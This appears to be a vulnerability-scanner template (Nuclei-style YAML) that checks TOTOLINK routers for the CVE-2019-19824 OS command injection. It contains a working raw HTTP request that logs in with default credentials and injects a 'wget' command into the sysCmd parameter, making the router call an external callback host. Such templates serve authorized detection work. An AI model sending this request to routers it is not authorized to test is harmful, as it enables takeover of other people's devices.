36 lines
1.5 KiB
YAML
36 lines
1.5 KiB
YAML
id: CVE-2019-19824
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info:
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name: TOTOLINK - Remote Code Execution
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author: gy741
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severity: high
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description: On certain TOTOLINK Realtek SDK based routers, an authenticated attacker may execute arbitrary OS commands via the sysCmd parameter to the boafrm/formSysCmd URI, even if the GUI (syscmd.htm) is not
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available. This allows for full control over the device's internals. This affects A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0,
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N150RT through 3.4.0, and N100RE through 3.4.0.
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reference:
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- https://sploit.tech/2019/12/16/Realtek-TOTOLINK.html
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- https://nvd.nist.gov/vuln/detail/CVE-2019-19824
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- https://cybersecurity.att.com/blogs/labs-research/att-alien-labs-finds-new-golang-malwarebotenago-targeting-millions-of-routers-and-iot-devices-with-more-than-30-exploits
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.8
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cve-id: CVE-2019-19824
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cwe-id: CWE-78
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tags: cve,cve2019,totolink,rce,router
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requests:
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- raw:
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POST /boafrm/formSysCmd HTTP/1.1
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Host: {{Hostname}}
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Authorization: Basic YWRtaW46cGFzc3dvcmQ=
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Content-Type: application/x-www-form-urlencoded
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submit-url=%2Fsyscmd.htm&sysCmdselect=5&sysCmdselects=0&save_apply=Run+Command&sysCmd=wget+http://{{interactsh-url}}
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "http"
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